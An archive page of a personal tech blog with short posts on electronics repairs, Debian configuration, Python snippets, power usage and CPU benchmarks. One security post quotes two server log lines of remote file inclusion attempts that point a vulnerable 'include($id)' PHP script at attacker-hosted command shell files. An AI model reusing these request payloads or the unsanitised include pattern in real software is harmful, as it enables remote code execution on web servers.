posted at: 19:36 | path: /computers | permanent link to this entry
Airmiles is a canadian rewards point club, where you buy things at participating stores, present your airmiles card, and in turn for you letting them have access to your personal buying habits, they give you points, that you can use to redeem for gift cards or items, trips etc.
One thing that is useful to know is what an airmile is worth, and right now a $20 gift card for groceries or petrol costs 175 points, so 20/175=0.1143, so each point is worth $0.11 cents. So if there is some item offered with 8 bonus points, you can equate that to 8*0.11 or $0.88 cents.
posted at: 14:07 | path: /general | permanent link to this entry
A couple of days ago the lights on my fishtank came on in the morning, but when they did they were flashing on and off like some kind of underwater disco show. I don't think my fish appreciated it much, and so I disconnected the light and started looking into the problem. The lights on the tank are a track of LED lighting that are powered from a 15.2V 1600mA power brick. I figured that was where the problem was and sure enough putting my mutlimeter on it I noticed it fluctuating around a bit. I decided to put my scope on it to see what was going on and got this:
Here we can see the supply is jumping up to 12.5 volts, then dropping down 2 volts every 200 miliseconds or so, which explains why the lights were flashing on and off, but this certainly isn't the desired output. Next up was to open it up and see if anything looked wrong. This proved harder than expected since there wasn't a single screw in the brick design and it was just glued together. I ended up breaking the seal with a screwdriver and finally pried it apart. After some poking about I noticed this one capacitor looks like it had shot its load onto the heatsink.
And here is a not that great picture of the bad cap after it was out, you can see the brown electrolyte that leaked out of the cap
And after replacing it we get a steady 15.2V from the supply as it was designed to do (it's not exactly a clean supply, but it does the job for lighting leds)
Ended up epoxying the plastic case back together and almost as good as new :)
posted at: 00:47 | path: /electronics | permanent link to this entry
zcat boot.img.gz > /dev/sde mount /dev/sde /mnt cp debian-6.0.0-i386-netinst.iso /mnt/ umount /mntFor whatever reason, this seems to boot just fine on this gigabyte board, where doing the same thing onto a partition would give the "Boot Error:" message.
posted at: 19:11 | path: /debian | permanent link to this entry
#!/usr/bin/env python
import PythonMagick
pdf = 'doc.pdf'
p = PythonMagick.Image()
p.density('600')
p.read(pdf)
p.write('doc.jpg')
This sets the density value (default is 72) that the pdf is read at, so that you can get a higher resolution image from the PDF, and then simply writes it to a jpg file.
posted at: 12:41 | path: /python | permanent link to this entry
I had monitor with a problem where it would not power on correctly after it was off. It would just flash over and over again until it got warm, and then would start working and be fine until it was turned off for some time, and then back on again. These types of problems usually end up being something wonky with the power supply and often end up being caused by a capacitor or two that have gone bad. If you crack it open you can usually find them and simply replace them to get the monitor working again. This has happened to me a few times over the years and it's a relatively easy fix, so I thought I'd go over the process here with this one.
After cracking the case open and digging out the power supply, you can identify the bad capacitors by the bulgy bent up ones. Sometimes they will have some gunk on the top. In this case you can see the two caps here that are bad (the tall brown ones):

Using a solder pump, or wick, suck off the solder from the joints (note, I de-soldered the wrong lead in the bottom right, had to go back and de-solder the proper lead after noticing the cap wasn't budging)
And finally install new caps to replace the ones you removed. Make sure you use a similar spec cap. The ones I removed were 1000uF 16V caps, and I replaced them with 1000uF 25V caps. The same or higher voltage will be fine. Also polarity matters, so make sure you line up the negative lead on the cap with what is marked on the board, or the same orentation as the caps you took out.

Put it all back together and if everything went alright it should be working like new.
posted at: 18:56 | path: /electronics | permanent link to this entry
I had this come up when the power switch is pressed on the system, when I just want the system to shutdown no matter what. Searching around I found the following bug report that ended up having the answer:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=556376
This can be worked around by creating '/var/lib/polkit-1/localauthority/50-local.d/allow-shutdown-multi.pkla' with the following contents:
[allow shutdown multi] Identity=unix-user:* Action=org.freedesktop.consolekit.system.stop-multiple-users ResultAny=no ResultInactive=no ResultActive=yes
posted at: 21:37 | path: /debian | permanent link to this entry
posted at: 16:10 | path: /debian | permanent link to this entry
sudo apt-get install dwm-tools wmname LG3DReference: http://awesome.naquadah.org/wiki/Problems_with_Java
posted at: 00:40 | path: /debian | permanent link to this entry
posted at: 18:38 | path: /debian | permanent link to this entry
So a few months ago I was about to upgrade my video card in my main desktop/gaming system, and realized I needed a new power supply. I was still running the stock Antec 380 watt PSU that came with the Sonata case. It wasn't going be able to power the new video card properly, and infact was alredy underpowered for the system it was running in. Anyways, I went out and picked up a Seasonic M12 600 Watt 80 PLUS power supply. The 80 PLUS designation means the power supply is more efficent (the rating states they are 80% efficent at 20%, 50% and 100% utilization). This is somewhere around 20% more efficent than standard power supply units. So anyways, since I was upgrading I decided to run some test before I put the new video card in to see what difference it was making, and here are the results. These are measured using a Kill-A-Watt device.
System: Intel Quad Core Q6600, running a radeon 4830 graphics card.
| Antec 380 Watt PSU | Seasonic M12 600 Watt PSU | |
|---|---|---|
| System Off | 6 watts | 2 watts |
| During Bootup | 218 watts | 190 watts |
| Peak During bootup | 240 watts | 202 watts |
| Windows Desktop Idle | 128 watts | 111 watts |
| CS:Source Video Stress Test | 222-240 watts | 188->204 watts |
And just a quick comparison, this is the seasonic PSU but with the new video card (Nvidia GTX 260) during Counter-Strike Source Stress Test: 189-208, so it seems to use just a tiny bit more power than the ATI Radeon 4830.
Anyways, it's interesting how much of a difference in power usage a quality power supply makes. Those test are identical except for the power supply change, and as you can see it really does make a noticable difference.
posted at: 15:28 | path: /energy | permanent link to this entry
I've been following house prices for a few years, watching what I think is a huge housing bubble develope in Canada. Anyways, I often run little mortgage scenario's on houses just for fun to see how out of whack things are (the average family not being able to afford even a cheap home, etc, etc), and I did a google search for mortgage calculators and found something that I think is interesting.
This site: http://www.mortgagecalculator.net/ that is hosted by who knows, doesn't allow you to put in an interest rate above 9.0 percent. It seems to just not compute and won't show you any numbers? Anyways, that is just out to lunch since interest rates over the past 30 years have been up to 21%, and average around 8% or so. Yeah, they are stupid low now, but it doesn't mean they can't ever go past 9%? Just crazy.
And then I find this other site hosted by the BBC in the UK and they let you enter in your interest rate etc, and in the results they have a "But be careful, at 12% it will be:" amount. Which is exactly what people need to know! So anyways, a nice example of stupid vs sensible. http://www.bbc.co.uk/homes/property/mortgagecalculator.shtml
posted at: 13:29 | path: /general | permanent link to this entry
posted at: 20:13 | path: /general | permanent link to this entry
# apt-get install metacity Reading package lists... Done Building dependency tree Reading state information... Done The following extra packages will be installed: desktop-file-utils doc-base dvd+rw-tools evolution-data-server evolution-data-server-common genisoimage gnome-about gnome-applets gnome-applets-data gnome-control-center gnome-desktop-data gnome-doc-utils gnome-media gnome-netstatus-applet gnome-panel gnome-panel-data gnome-session gnome-settings-daemon gnome-system-monitor gnome-user-guide gstreamer0.10-alsa gstreamer0.10-plugins-base gstreamer0.10-plugins-good gstreamer0.10-x libaa1 libapm1 libasound2 libcairomm-1.0-1 libcdio7 libcdparanoia0 libcompress-raw-zlib-perl libcompress-zlib-perl libedata-book1.2-2 libedata-cal1.2-6 libedataserverui1.2-8 libeel2-2.20 libeel2-data libegroupwise1.2-13 libenchant1c2a libexempi3 libexif12 libflac8 libfont-afm-perl libfreezethaw-perl libgdata-google1.2-1 libgdata1.2-1 libglibmm-2.4-1c2a libgnome-window-settings1 libgnomekbd-common libgnomekbd2 libgnomekbdui2 libgstreamer-plugins-base0.10-0 libgtkmm-2.4-1c2a libgucharmap6 libgweather-common libgweather1 libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl libhtml-tree-perl libhunspell-1.2-0 libio-compress-base-perl libio-compress-zlib-perl liblcms1 libmalaga7 libmldbm-perl libmozjs1d libnautilus-extension1 libnet-dbus-perl libnotify1 liboobs-1-4 librarian0 libsexy2 libslab0 libsoup2.4-1 libtie-ixhash-perl libtrackerclient0 libuuid-perl libvoikko1 libwavpack1 libwww-perl libxklavier12 libxml-parser-perl libxml-twig-perl libxml-xpath-perl myspell-en-us nautilus nautilus-cd-burner nautilus-data notification-daemon system-tools-backends wodim xulrunner-1.9 yelp Suggested packages: cdrskin evolution evolution-data-server-dbg cdrkit-doc tomboy cpufreqd cpudyn powernowd esound-clients gnome-screensaver xscreensaver gnome2-user-guide gnome-system-tools libasound2-plugins libvisual-0.4-plugins gnome-app-install liblcms-utils voikko-fi libio-socket-ssl-perl libunicode-map8-perl libunicode-string-perl xml-twig-tools eog evince pdf-viewer totem mp3-decoder tracker fam xulrunner-1.9-gnome-support The following NEW packages will be installed: desktop-file-utils doc-base dvd+rw-tools evolution-data-server evolution-data-server-common genisoimage gnome-about gnome-applets gnome-applets-data gnome-control-center gnome-desktop-data gnome-doc-utils gnome-media gnome-netstatus-applet gnome-panel gnome-panel-data gnome-session gnome-settings-daemon gnome-system-monitor gnome-user-guide gstreamer0.10-alsa gstreamer0.10-plugins-base gstreamer0.10-plugins-good gstreamer0.10-x libaa1 libapm1 libasound2 libcairomm-1.0-1 libcdio7 libcdparanoia0 libcompress-raw-zlib-perl libcompress-zlib-perl libedata-book1.2-2 libedata-cal1.2-6 libedataserverui1.2-8 libeel2-2.20 libeel2-data libegroupwise1.2-13 libenchant1c2a libexempi3 libexif12 libflac8 libfont-afm-perl libfreezethaw-perl libgdata-google1.2-1 libgdata1.2-1 libglibmm-2.4-1c2a libgnome-window-settings1 libgnomekbd-common libgnomekbd2 libgnomekbdui2 libgstreamer-plugins-base0.10-0 libgtkmm-2.4-1c2a libgucharmap6 libgweather-common libgweather1 libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl libhtml-tree-perl libhunspell-1.2-0 libio-compress-base-perl libio-compress-zlib-perl liblcms1 libmalaga7 libmldbm-perl libmozjs1d libnautilus-extension1 libnet-dbus-perl libnotify1 liboobs-1-4 librarian0 libsexy2 libslab0 libsoup2.4-1 libtie-ixhash-perl libtrackerclient0 libuuid-perl libvoikko1 libwavpack1 libwww-perl libxklavier12 libxml-parser-perl libxml-twig-perl libxml-xpath-perl metacity myspell-en-us nautilus nautilus-cd-burner nautilus-data notification-daemon system-tools-backends wodim xulrunner-1.9 yelp 0 upgraded, 95 newly installed, 0 to remove and 2 not upgraded. 35 not fully installed or removed. Need to get 73.9MB of archives. After this operation, 194MB of additional disk space will be used. Do you want to continue [Y/n]? n Abort.So then I'm thinking, "what the hell?", I don't need any of those extra packages that it plans to install. How does installing metacity require the gnome-system-monitor? So I did a quick search and it turns out the default behaviour has changed in lenny to install recommended packages by default. And you can change that behaviour by adding a couple lines to your /etc/apt/apt.conf file (just create it if it doesn't exist), and add:
APT::Install-Recommends "0"; APT::Install-Suggests "0";That changed the my install down to:
# apt-get install metacity Reading package lists... Done Building dependency tree Reading state information... Done Suggested packages: gnome-control-center Recommended packages: gnome-session x-session-manager The following NEW packages will be installed: metacity 0 upgraded, 1 newly installed, 0 to remove and 2 not upgraded.That is much more like it...
posted at: 19:41 | path: /debian | permanent link to this entry
[322865.976030] ------------[ cut here ]------------ [322865.976038] WARNING: at net/sched/sch_generic.c:226 dev_watchdog+0xf6/0x18b() [322865.976043] Hardware name: [322865.976047] NETDEV WATCHDOG: eth0 (r8169): transmit timed out [322865.976051] Modules linked in: ipt_MASQUERADE xt_limit xt_helper xt_multiport xt_DSCP xt_tcpudp xt_state ipt_LOG ipt_REJECT iptable_nat nf_nat nf_conntrack_ipv4 nf_conntrack nf_defrag_ipv4 iptable_filter iptable_mangle ip_tables x_tables ipv6 fuse loop hid_pl hid_cypress hid_zpff hid_gyration hid_sony hid_ntrig hid_samsung hid_microsoft hid_tmff hid_monterey hid_ezkey hid_apple hid_a4tech hid_logitech ff_memless hid_cherry hid_sunplus hid_petalynx hid_belkin hid_chicony usbhid hid ds2490 wire cn serio_raw 8139too i2c_i801 rng_core 8139cp parport_pc evdev i2c_core floppy parport ehci_hcd uhci_hcd button thermal processor iTCO_wdt thermal_sys usbcore [322865.976152] Pid: 0, comm: swapper Not tainted 2.6.29.1 #1 [322865.976156] Call Trace: [322865.976167] [It would always happen while transfering large amounts of data out from the server through the onboard gigabyte ethernet listed in lspci as:] warn_slowpath+0x80/0xb6 [322865.976176] [ ] cpumask_next_and+0x23/0x33 [322865.976184] [ ] find_busiest_group+0x2fa/0x7e2 [322865.976193] [ ] sched_clock_cpu+0x136/0x147 [322865.976200] [ ] dev_watchdog+0xf6/0x18b [322865.976207] [ ] hrtimer_forward+0x10c/0x124 [322865.976214] [ ] scheduler_tick+0x9c/0x1a3 [322865.976220] [ ] getnstimeofday+0x4c/0xcf [322865.976227] [ ] lapic_next_event+0x10/0x13 [322865.976233] [ ] dev_watchdog+0x0/0x18b [322865.976241] [ ] run_timer_softirq+0x14a/0x1b4 [322865.976247] [ ] dev_watchdog+0x0/0x18b [322865.976254] [ ] __do_softirq+0x8c/0x130 [322865.976260] [ ] do_softirq+0x45/0x53 [322865.976266] [ ] irq_exit+0x35/0x62 [322865.976272] [ ] smp_apic_timer_interrupt+0x71/0x7b [322865.976280] [ ] apic_timer_interrupt+0x28/0x30 [322865.976287] [ ] mwait_idle+0x4c/0x5a [322865.976293] [ ] cpu_idle+0x60/0x7a [322865.976298] ---[ end trace f9e87d98b4ee5218 ]--- [322866.001730] r8169: eth0: link up
01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller (rev 02)
Sometimes it would sort of freeze up the machine for a minute or two, and others it crashed and rebooted. Anyways, tracking the problem down was quite the pain since it only happened sometimes when transfering large amounts of data. Searching for a fix also was hard, and I found many others with the same problem with this realtek NIC, but no one had a solution. But I eventually stumbled upon this post which was the same problem and the last post is someone saying they were going to try the pci=nomsi boot option. I guess it worked for him and so he never posted back, so I tried that out myself and it seems to have fixed the problem.
The pci=nomsi option seems to disable MSI (Message Signaled Interrupt) which is a feature of the PCI bus revision 2.3 or later. It seems like it sometimes causes problems as it is the solution to a number of different problems with pci devices not working so well.
posted at: 01:37 | path: /debian | permanent link to this entry
posted at: 05:14 | path: /electronics | permanent link to this entry
posted at: 16:05 | path: /debian | permanent link to this entry
xbindkeys & exec awesomeThen just made that file executable. I then edited my ~/.dmrc file and changed "Session=awesome" to "Session=custom". That tells GDM to launch X using your ~/.xsession instead of a specific windows manager, allowing you to run whatever you want at startup as well.
posted at: 01:55 | path: /debian | permanent link to this entry
apt-get install libfile-desktopentry-perl libmodule-build-perl libfile-basedir-perlAfter that it's just a matter of untar'ing the source, and running the binary (<src dir>/bin/zim). Also to make things even more useful, there exists a Tomboy 2 Zim python script to convert your notes if you were using Tomboy.
posted at: 23:08 | path: /debian | permanent link to this entry
posted at: 22:46 | path: /general | permanent link to this entry
posted at: 22:33 | path: /debian | permanent link to this entry
posted at: 22:22 | path: /general | permanent link to this entry
Gtk-ERROR **: file gtksequence.c: line 760 (_gtk_sequence_node_find_by_pos): assertion failed: (node->parent != NULL) aborting... or Gtk-ERROR **: file gtksequence.c: line 595 (_gtk_sequence_node_rotate): assertion failed: (node->parent) aborting...I couldn't really figure out what was going on since it was so random, it would happen 1 of 10 tries, then 3 of 10 and just all very random. I found the call that was causing it but still managed to not understand what the problem was. Anyways, after carefully going through my code and much google searching, I finally realized that my call was updating the gtk interface but I had forgot to make my call to enter the gtk thread before hand. So as a note to myself, always remember to make gtk.threads_enter/leave() calls! Ack.
gtk.threads_enter() self.mainapp.function() gtk.threads_leave()
posted at: 04:48 | path: /pygtk | permanent link to this entry
The calculation is based on your top-artist of the last 12 months. The weighting of a tag depends on the quantity of your played songs of one artist, as well as the most frequently used tag for this artist. On the basis of quantity, distribution and weighting of the tags, the OMI will be calculated.
posted at: 03:26 | path: /general | permanent link to this entry
217.11.225.208 - - [05/Oct/2007:12:46:32 -0400] "GET /pictures/index.php?id=830/index.php?id=http://211.155.235.169/sewam/cmd.txt? HTTP/1.1" 200 1435 "-" "libwww-perl/5.805"
85.11.62.235 - - [06/Oct/2007:01:03:47 -0400] "GET /pictures/index.php?id=http://ninaru.hut2.ru/images/cs.txt? HTTP/1.1" 200 1455 "-" "Wget/1.1 (compatible; i486; Linux; RedHat7.3)"
< ?php
include($id);
// rest of script
?>
posted at: 02:45 | path: /security | permanent link to this entry
posted at: 05:46 | path: /general | permanent link to this entry


posted at: 20:21 | path: /energy | permanent link to this entry
from test import pystone
pystone.main(500000)
| Machine | Time | pystones/second |
|---|---|---|
| Intel Core 2 Duo 6600 (2.4 ghz) | 7.04 | 71022.7 |
| Intel Xeon 5110 (1.6 ghz) | 10.42 | 47984.6 |
| Athlon s969 3200+ (2.0 ghz) | 12.02 | 41597.3 |
| Athlon s969 3000+ (1.8 ghz) | 13.37 | 37397.2 |
| AMD Hammer? (1.6 ghz) | 14.95 | 33444.8 |
| AMD Opteron 242 (1.6 ghz) | 15.20 | 32894.7 |
| Intel Pentium 4 (2.4 ghz) | 16.53 | 30248.0 |
| AMD Sempron (1.6 ghz) | 17.01 | 29394.5 |
| Epia M6000 (600 mhz) | 74.54 | 6707.8 |
| Intel Celeron (300 mhz) | 100.89 | 4955.9 |
posted at: 00:00 | path: /general | permanent link to this entry
posted at: 02:55 | path: /debian | permanent link to this entry
from toscawidgets.core import WidgetsList
from toscawidgets.widgets.forms import SingleSelectField, TableForm, TextField
from formencode.schema import Schema
...
class FilteringSchema(Schema):
filter_extra_fields = True
allow_extra_fields = True
class Fields(WidgetsList):
testselect = SingleSelectField(label="Test:", validator=validators.Int())
name = TextField(validator=validators.NotEmpty(), label="Name:", attrs={'maxlength':128})
testform = TableForm("TestForm", validator=FilteringSchema, fields=Fields(), action="save", submit_text="Submit")
class Root(controllers.RootController):
@expose(html="test.templates.formpage")
def formpage(self):
selectlist = [(1, 'option 1'), (2, 'option 2')]
data = dict(child_args=dict(testselect=dict(options=selectlist)), value=dict(name='Test Guy'))
return dict(form=testform, data=data)
${form.display(**data)}
posted at: 01:45 | path: /turbogears | permanent link to this entry